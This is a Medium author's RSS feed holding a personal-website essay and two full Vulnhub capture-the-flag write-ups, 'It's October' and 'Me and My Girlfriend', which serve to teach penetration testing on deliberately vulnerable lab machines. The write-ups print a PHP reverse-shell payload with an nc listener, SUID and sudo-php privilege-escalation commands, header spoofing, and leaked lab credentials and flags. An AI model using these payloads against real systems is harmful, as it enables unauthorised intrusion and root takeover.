<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Valentino Losito on Medium]]></title>
        <description><![CDATA[Stories by Valentino Losito on Medium]]></description>
        <link>https://medium.com/@valesteve91?source=rss-f2f1e543d5bd------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*cYo1SRb8RKOL8GP2ZxXa0A.jpeg</url>
            <title>Stories by Valentino Losito on Medium</title>
            <link>https://medium.com/@valesteve91?source=rss-f2f1e543d5bd------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 06:37:06 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@valesteve91/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Back to the Basics: How Rewriting My Personal Website Reignited My Love for Coding]]></title>
            <link>https://medium.com/@valesteve91/back-to-the-basics-how-rewriting-my-personal-website-reignited-my-love-for-coding-612a9f2bd8fd?source=rss-f2f1e543d5bd------2</link>
            <guid isPermaLink="false">https://medium.com/p/612a9f2bd8fd</guid>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[typescript]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[nextjs]]></category>
            <dc:creator><![CDATA[Valentino Losito]]></dc:creator>
            <pubDate>Tue, 14 May 2024 07:42:57 GMT</pubDate>
            <atom:updated>2024-05-14T07:42:57.846Z</atom:updated>
            <content:encoded><![CDATA[<p>Lately, I’ve been feeling pretty unsatisfied with the industry. The Job market hasn’t been great. I’m not solving any critical problems for humanity, and for the life of me, I can’t think of an idea to launch the next big SaaS. Despite this, I still really enjoy coding, which, in my opinion, is as close as it gets to real-life magic, but the usual day-to-day work wasn’t cutting it anymore. So I thought, let’s go back to the basics.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ttCsW0halSAw7kupI97Row.png" /><figcaption>Accurate 2024 Tech job market</figcaption></figure><p>The first web app I ever wrote was my personal website. It was a way to both practice my skills and break into the market. Super simple and kind of crude, but at the same time, it was a big accomplishment for me. Looking at it now, it’s basically just a bunch of spaghetti code — JavaScript from hell crammed into a single ~900 line AngularJS controller, loaded with hardcoded data in a SQL database queried via a WordPress headless REST API, and for some reason, a “contact me” form hooked up to Firebase. TL;DR: it wasn’t great, but it did what it needed to, and honestly, I had way more fun, fulfillment, and enjoyment building that app than anything I’ve worked on in the past year.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*WAFHba4DpXzcTRpPQA8bmA.jpeg" /><figcaption>full circle</figcaption></figure><p>What did I miss then? The answer wasn’t that hard to find. I missed coding just for the fun of it — tackling something totally pointless just because. I thought it was cool, and it really fed into that hacker mentality of “what if?”</p><p>I love using and tweaking my terminal for a lot of my day-to-day tasks, so why not make my personal website reflect that? Say no more! It’s not going to be user-friendly (at least not to someone not accustomed to interacting with a Unix terminal), and it won’t have a sleek UI, but it’s literally what I like. And really, the goal here is to have fun with coding once again.</p><p>I set out on this project with a clear goal: <strong>Everything new</strong>.</p><ul><li>Old comfortable editor? See ya — I’m diving into <strong>Neovim </strong>for this one.</li><li>Comfort zone framework? No thank you, we’re pushing <strong>Next.js</strong> to its limits.</li><li>Good old familiar SCSS theming from scratch? You guessed it — nope, I’m going all-in with <strong>Tailwind</strong> and not a single CSS file will be created.</li></ul><p>Right from the get-go, it felt like a winning decision. I could code for unspeakable stretches of hours without a hint of boredom, just reveling in the pure joy of creating. Once more, I felt that fuzzy feeling of love for coding flowing back to me.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NFOCuS509TZcacCIzCT_JA.png" /></figure><p>From this renewed feeling, https://valex91.github.io/me was born! Handcrafted with zero dependencies to mirror my iTerm environment with zsh, it includes a couple of Easter eggs for extra enjoyment. Plus, there’s an opt-out feature to ensure it still serves its purpose for non-technical folks.</p><p>Next.js was primarily utilized to generate the static website, with a special nod to partial routes that simplified mimicking folder structures. A straightforward parser was crafted to map commands to their handlers, and a generous use of Tailwind was employed to style the hacked-together web API and native web elements, creating an interface that resembles Stdin and Stdout.</p><p>Reflecting on this project, it’s clear that stepping outside my comfort zone not only brought back the joy of coding but also pushed the boundaries of what I could create with a few modern tools. This journey has reignited my passion for development and innovation — something I hope to carry forward in all future endeavours. What’s your experience with revisiting projects? Have they brought new insights or reignited your passion as they did for me?</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=612a9f2bd8fd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AWS Step Functions — SHOW ME THE MONEY!]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://engineering.dunelm.com/aws-step-functions-show-me-the-money-cd4a34e164e9?source=rss-f2f1e543d5bd------2"><img src="https://cdn-images-1.medium.com/max/600/1*hkHmxOQVmoK_KssOnjYbCQ.png" width="600"></a></p><p class="medium-feed-snippet">As a passionate gamer, I always strive to have a cool look in-game. However, being an adult with responsibilities means that my resources&#x2026;</p><p class="medium-feed-link"><a href="https://engineering.dunelm.com/aws-step-functions-show-me-the-money-cd4a34e164e9?source=rss-f2f1e543d5bd------2">Continue reading on Dunelm Technology »</a></p></div>]]></description>
            <link>https://engineering.dunelm.com/aws-step-functions-show-me-the-money-cd4a34e164e9?source=rss-f2f1e543d5bd------2</link>
            <guid isPermaLink="false">https://medium.com/p/cd4a34e164e9</guid>
            <category><![CDATA[aws-step-functions]]></category>
            <category><![CDATA[nodejs]]></category>
            <category><![CDATA[valorant]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[typescript]]></category>
            <dc:creator><![CDATA[Valentino Losito]]></dc:creator>
            <pubDate>Wed, 10 May 2023 07:31:36 GMT</pubDate>
            <atom:updated>2023-05-10T07:31:36.188Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[Vulnhub writeup: It’s October]]></title>
            <link>https://medium.com/@valesteve91/vulnhub-writeup-its-october-225dc4ce3dd7?source=rss-f2f1e543d5bd------2</link>
            <guid isPermaLink="false">https://medium.com/p/225dc4ce3dd7</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[Valentino Losito]]></dc:creator>
            <pubDate>Fri, 01 May 2020 12:58:29 GMT</pubDate>
            <atom:updated>2020-05-01T12:58:29.819Z</atom:updated>
            <content:encoded><![CDATA[<p>This time I’m doing <a href="https://www.vulnhub.com/series/its-october,297/#">It’s october</a> from Vulnhub. After booting the VM I need to scan my subnet to find it’s address. I proceed with the usual nmap -n 192.168.56.101/24 to find out the box address.</p><p>After obtaining the address I run a more thorough scan with nmap -sV -sC 192.168.56.121 which highlight some interesting details:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*k06CmHACfS1yQlwSK0AHOA.png" /></figure><p>As first step I decide to take a look at the webserver on port 80. The landing page is a well presented website, so I open the developer console to check the source to see if I can discover something more interesting. From the first look it doesn’t look like wordpress, but has to be some kind of CMS. The source reveals some interesting details, the theme used for this website is:</p><figure><img alt="source code snippet" src="https://cdn-images-1.medium.com/max/985/1*kSHefI86riB0wp3D8ehikA.png" /></figure><pre>vojtasvoboda-newage</pre><p>Which after a quick google search reveals to be a <a href="https://github.com/GrCOTE7/ocms/tree/master/themes/vojtasvoboda-newage">theme</a> for OctoberCMS. At this point I backtracked to the other exposed webserver on port 8080 which just exposes a notepad image:</p><figure><img alt="other webserver landing page" src="https://cdn-images-1.medium.com/max/1024/1*hRtlBBNrcX_Msxs6PfSZdQ.png" /></figure><p>But the developer tools reveals a more interesting find, there is a link commented out to /mynote.txt which upon visiting, leaks us some credentials:</p><figure><img alt="Leaked credentials" src="https://cdn-images-1.medium.com/max/611/1*P3JkSam75L8TpgQBSCZO_Q.png" /></figure><p>At this point I attempt to use the credentials to connect via ssh to the machine, but apparently it is not that easy and I get greeted by a permission denied error:</p><figure><img alt="ssh permission denied error" src="https://cdn-images-1.medium.com/max/879/1*KQAnoJxz4z6PtuXh2y0bBQ.png" /></figure><p>My next guess is to try to access the mysql service running remotely to create a backdoor via OUTFILE , but even this attempt failed as it seems that the ip is blacklisted after the first attempt of connection. The only option left now is then to check how to access the admin panel of OctoberCMS and see if the credentials would work there.</p><p>Via the CMS documentation I learn that <a href="http://192.168.56.121/backend/backend/auth/signin">/backend/backend/auth/signin</a> is the way to go and finally success, the credentials let me in. At this point my priority is to explore the admin panel to find a way of executing some code to get a shell on the server. The CMS tab seems to suite the purpose, it allows me to create a page with the browser editor:</p><figure><img alt="Orange CMS page" src="https://cdn-images-1.medium.com/max/1024/1*mmndtu60vENk7ddM6sRZHw.png" /></figure><p>Nice! Now accordingly to the <a href="https://octobercms.com/docs/cms/pages">documentation</a> I can just write a small payload that on opening of the /reverse page will give me a reverse shell:</p><pre>function onStart() {<br> $sock=fsockopen(“192.168.56.101”,5555);$proc=proc_open(“/bin/sh -i”, array(0=&gt;$sock, 1=&gt;$sock, 2=&gt;$sock),$pipes); <br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oQqWBXO6rNUm5XjLA-rtRA.png" /></figure><p>Now all there is left to do is open a listener on my attacking machine with nc -lvp 5555 and visit 192.168.56.121/redirect . Upon receiving a connection I update the shell with python3 -c &quot;import pty;pty.spawn(&#39;/bin/bash)&quot; , at this point we just need to find a way to escalate the privileges.</p><p>I check sudo -l for some low hanging fruit but www-data cannot access sudo , my next step then is to check if there is any interesting binary with SUID . So I run find / -perm -4000 -type f -exec ls -la {} 2&gt;/dev/null \; which reveal:</p><figure><img alt="find SUID binaries result" src="https://cdn-images-1.medium.com/max/870/1*bqWSYuOjnXPTbwcbJ71xAQ.png" /></figure><p>Really interesting, python is running with SUID enabled, we can exploit that with a sightly variation of the command that we used to upgrade the shell to obtain a root shell.</p><pre>python3 -c &quot;import os;import pty; <strong>os.setuid(0)</strong>; pty.spawn(&#39;/bin/bash&#39;)&quot;</pre><p>Where before running the shell we set the process to run as root which brings me to the end of this challenge:</p><figure><img alt="root" src="https://cdn-images-1.medium.com/max/670/1*Xbi3fdIXavI1TWr2IYdLCQ.png" /></figure><p>Thanks to the creator of this challenge, was easy but enjoyable. If you want to try it yourself here is the <a href="https://www.vulnhub.com/series/its-october,297/#">link</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=225dc4ce3dd7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnhub writeup: Symfonos5]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://medium.com/@valesteve91/vulnhub-writeup-symfonos5-63bcf455dbde?source=rss-f2f1e543d5bd------2"><img src="https://cdn-images-1.medium.com/max/1920/0*GBYqKyFTDfpml-4X.png" width="1920"></a></p><p class="medium-feed-snippet">After the classic VM bootstrap this time the machine itself expose it&#x2019;s IP address so I don&#x2019;t need to scan the internal subnet to discover&#x2026;</p><p class="medium-feed-link"><a href="https://medium.com/@valesteve91/vulnhub-writeup-symfonos5-63bcf455dbde?source=rss-f2f1e543d5bd------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://medium.com/@valesteve91/vulnhub-writeup-symfonos5-63bcf455dbde?source=rss-f2f1e543d5bd------2</link>
            <guid isPermaLink="false">https://medium.com/p/63bcf455dbde</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Valentino Losito]]></dc:creator>
            <pubDate>Tue, 03 Mar 2020 13:30:48 GMT</pubDate>
            <atom:updated>2020-03-03T17:41:19.204Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[Vulnhub write-up: Five86–1]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://medium.com/@valesteve91/vulnhub-write-up-five86-1-3deb7aa513cb?source=rss-f2f1e543d5bd------2"><img src="https://cdn-images-1.medium.com/max/600/1*mRAIwZtjtgJjF7TliMbpvQ.png" width="600"></a></p><p class="medium-feed-snippet">After the classic VM bootstrap the first thing that I had to do is to obtain the IP of the target machine. Then I needed to use nmap&#x2026;</p><p class="medium-feed-link"><a href="https://medium.com/@valesteve91/vulnhub-write-up-five86-1-3deb7aa513cb?source=rss-f2f1e543d5bd------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://medium.com/@valesteve91/vulnhub-write-up-five86-1-3deb7aa513cb?source=rss-f2f1e543d5bd------2</link>
            <guid isPermaLink="false">https://medium.com/p/3deb7aa513cb</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Valentino Losito]]></dc:creator>
            <pubDate>Fri, 14 Feb 2020 16:10:55 GMT</pubDate>
            <atom:updated>2020-02-14T16:10:55.306Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[Vulnhub write-up: Me and My Girlfriend]]></title>
            <link>https://medium.com/@valesteve91/vulnhub-write-up-me-and-my-girlfriend-a0280139f693?source=rss-f2f1e543d5bd------2</link>
            <guid isPermaLink="false">https://medium.com/p/a0280139f693</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[Valentino Losito]]></dc:creator>
            <pubDate>Thu, 19 Dec 2019 13:00:39 GMT</pubDate>
            <atom:updated>2019-12-19T13:37:27.156Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="vulnhub logo" src="https://cdn-images-1.medium.com/max/790/1*3cWQAzxwQovMO3E6bR3xQA.png" /></figure><p>After the classic VM bootstrap</p><p>The first thing that I launched was a ‘nmap’ to check which service are running and in which version</p><pre>nmap -sV 192.168.56.105</pre><p>This revealed just two exposed services:</p><pre>22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2 ubuntu2.13 (Ubuntu Linux; protocol 2.0)                      │<br>80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))</pre><p>Interesting! There is a webserver running on the machine! So I open Firefox at</p><p><a href="http://192.168.56.105/">http://192.168.56.105</a></p><p>Instead of being greeted with a normal web page, what you see is just a kind of a placeholder page.</p><p>Who are you? Hacker? Sorry This Site Can Only Be Accessed local!</p><p>Fair enough, opening the inspect tools I notice straight away a comment embedded into the html:</p><pre>&lt;!--Maybe you can search how to use x-forwarded-for --&gt;</pre><p>So to check what that is on about after a quick google search I end up on the MDN web docs</p><p><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-For">https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-For</a></p><p>Where I learn that this is a header for identifying the originating IP address.</p><p>At this point I’m sure that the page is displaying different contents based on this header. Before going further, I want to confirm my theory with a quick check so I try to request the page by adding the header with a spoof value of localhost.</p><pre>wget --header &quot;x-forwarded-for:localhost&quot; 192.168.56.105</pre><p>And bingo, I obtain the actual page of application.</p><p>For any further investigation on the application I cannot process every request via the shell. So I setup Burp to modify every request sent to that IP with that header, point my Firefox on the Burp proxy and start browsing around the application.</p><p>There are a few forms so firstly I try to see if anything is susceptible to a SQL injection, but no such luck. The next thing that catches my attention is that the page seems to be a good candidate for LFI since it’s requesting pages via query parameter: page</p><p>I try a few standard techniques that have been proven effective with other boxes as <a href="https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/">https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/</a> but it is a dead end.</p><p>At this point I register an account with the application and when it takes to my profile I notice the ‘userid’ in the URL is being used to show the account credentials and yey! Fiddling with various IDs I managed to make the page leak the following 5 accounts:</p><pre>                user: alice<br>                psw: 4lic3<br><br>                user: eweuhtandingan<br>                psw: skuyatuh<br><br>                user: aingmaung<br>                psw: qwerty!!!<br><br>                user: sundatea<br>                psw: indONEsia<br><br>                user: sedihaingmah<br>                psw: cedihhihihi</pre><p>I try to login into the app with all the accounts to see if I can get to in but after a bit of poking around that doesn’t lead to anything. So it’s time to backtrack to the other service running on the box, SSH.</p><p>Out of all those accounts, the only one that has something meaningful related to the storyline is Alice. So I attempt an SSH login with all those credentials, and Alice seems to be the lucky one so</p><pre>ssh alice@192.168.56.105</pre><p>Using the previous leaked password I was in and straight away I used:</p><pre>ls -a</pre><p>This revealed a ‘secret’ folder named .my_secret that contained the first flag and another clue:</p><pre>Greattttt my brother! You saw the Alice&#39;s note! Now you save the record information to give to bob! I know<br><br>if it&#39;s given to him then Bob will be hurt but this is better than Bob cheated!Now your last job is get access to the root and read the flag ^_^<br><br><br>Flag 1 : gfriEND{2f5f21b2af1b8c3e227bcf35544f8f09}</pre><p>So it’s time to figure out a way to access root using Alice’s credentials. I’ve run a script for detecting privilege escalation vectors but without convincing results, so I try to run:</p><pre>sudo -l</pre><p>This checks if Alice has root privileges for specific commands. This ends up revealing something really interesting. Alice can use the PHP command as super user without a password and that’s good news!</p><p>I decide quickly to test my new finding with</p><pre>alice@gfriEND:~/.my_secret$ sudo php -r &#39;echo shell_exec(&quot;whoami&quot;);&#39; &gt; out.txt<br>alice@gfriEND:~/.my_secret$ cat out.txt<br>root</pre><p>Nice, now it’s time to cash in on this treasure, instead of executing that command in the console, I need an interactive output to see what I’m doing and where I’m going. So a sightly modification to the script is needed, instead of using:</p><pre>shell_exec</pre><p>I’m going to use another php program execution function <a href="https://www.php.net/manual/en/function.passthru.php">https://www.php.net/manual/en/function.passthru.php</a> and modify the script with the passthru command</p><p>sudo php -r ‘ echo passthru(“/bin/bash”);’</p><p>This gave me a root shell, the next step was to find the second flag, and to avoid going round into the machine. With a bit of luck the flag format is going to be the same so I:</p><pre>cd /<br>find . -iname &#39;flag*.txt&#39;</pre><p>Which luckily revealed the flag location and finally,</p><p>cat ./root/flag2.txt</p><p>Huzzah! *dab*</p><pre>Yeaaahhhh!! You have successfully hacked this company server! I hope you who have just learned can get new knowledge from here :) I really hope you guys give me feedback for this challenge whether you like it or not because it can be a reference for me to be even better! I hope this can continue :)<br><br>Contact me if you want to contribute / give me feedback / share your writeup!<br>Twitter: @makegreatagain_<br>Instagram: @aldodimas73<br><br>Thanks! Flag 2: gfriEND{56fbeef560930e77ff984b644fde66e7}</pre><p>Thanks to the author as this was a really cool beginners box! I hope the explaination was clear enough since this was my first write-up.</p><p>link to the box: <a href="https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/">https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a0280139f693" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>